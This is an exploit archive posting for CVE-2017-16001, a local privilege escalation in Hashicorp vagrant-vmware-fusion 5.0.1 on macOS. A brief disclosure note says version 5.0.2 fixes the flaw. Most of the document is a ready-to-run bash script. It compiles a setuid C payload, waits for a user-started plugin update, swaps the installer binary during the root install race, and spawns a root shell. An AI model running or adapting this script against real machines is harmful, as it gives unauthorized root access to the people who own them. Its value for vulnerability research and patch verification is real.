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Hashicorp vagrant-vmware-fusion 5.0.1 Local Privilege Escalation

Hashicorp vagrant-vmware-fusion 5.0.1 Local Privilege Escalation
Posted Dec 6, 2017
Authored by Mark Wadham

Hashicorp vagrant-vmware-fusion version 5.0.1 suffers from a local privilege escalation vulnerability.

tags | exploit, local
advisories | CVE-2017-16001
MD5 | c82574786dcb632ff529eddda6528803

Hashicorp vagrant-vmware-fusion 5.0.1 Local Privilege Escalation

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# I recently blogged about how the installation process of version 5.0.0 of this
# plugin could be hihacked by a local attacker or malware in order to escalate
# privileges to root. Hashicorp pushed some mitigations for this issue fairly
# quickly but unfortunately 5.0.1 is still exploitable with a slightly different
# approach.

# They removed the chmod/chown shell commands from their osascript invocation and
# instead simply executed their installer as root, but apparently didn't realise
# that the installer is not root-owned so can be swapped out by a local attacker
# during the process.

# This issue is fixed in version 5.0.2.

# https://m4.rkw.io/vagrant_vmware_privesc_5.0.1.sh.txt
# c38ecc9fdb4f37323338e8fd12b851133a2121f3505cde664e6d32f1ef49ba23
# -----------------------------------------------------------------------------
#!/bin/bash
echo "########################################"
echo "vagrant_vmware_fusion 5.0.1 root privesc"
echo "by m4rkw"
echo "########################################"
echo
echo "compiling..."

cat > vvf.c <<EOF
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
int main(int ac, char *av[])
{
setuid(0);
seteuid(0);
if (ac > 1) {
system("mv -f $HOME/.vagrant.d/gems/2.3.4/gems/vagrant-vmware-fusion-5.0.1/ext/vagrant-vmware-desktop/vagrant-vmware-installer_darwin_amd64 /tmp/vvf_exp");
system("chown root:wheel /tmp/vvf_exp");
system("chmod 4755 /tmp/vvf_exp");
system("mv -f $HOME/.vagrant.d/gems/2.3.4/gems/vagrant-vmware-fusion-5.0.1/ext/vagrant-vmware-desktop/vagrant-vmware-installer_darwin_amd64.orig $HOME/.vagrant.d/gems/2.3.4/gems/vagrant-vmware-fusion-5.0.1/ext/vagrant-vmware-desktop/vagrant-vmware-installer_darwin_amd64");
system("$HOME/.vagrant.d/gems/2.3.4/gems/vagrant-vmware-fusion-5.0.1/ext/vagrant-vmware-desktop/vagrant-vmware-installer_darwin_amd64 install\012");
return 0;
}
system("rm -f /tmp/vvf_exp");
execl("/bin/bash","bash",NULL);
return 0;
}
EOF

gcc -o /tmp/vvf_exp vvf.c
rm -f vvf.c

echo "waiting for user to initiate vagrant plugin update..."

while :
do
r=`ps auxwww |grep '/usr/bin/osascript -e do shell script' |grep 'vagrant-vmware-installer_darwin_amd64'`
if [ "$r" != "" ] ; then
break
fi
done

pid=`ps auxww |grep './vagrant-vmware-installer_darwin_amd64 install' |grep -v grep |xargs -L1 |cut -d ' ' -f2`

cd $HOME/.vagrant.d/gems/2.3.4/gems/vagrant-vmware-fusion-5.0.1/ext/vagrant-vmware-desktop

echo "dropping payload in place of installer binary..."

mv -f vagrant-vmware-installer_darwin_amd64 vagrant-vmware-installer_darwin_amd64.orig
mv -f /tmp/vvf_exp vagrant-vmware-installer_darwin_amd64

echo "waiting for payload to trigger..."

while :
do
r=`ls -la /tmp/vvf_exp 2>/dev/null |grep -- '-rwsr-xr-x' |grep root`
if [ "$r" != "" ] ; then
echo "spawning shell..."
/tmp/vvf_exp
exit 0
fi
done

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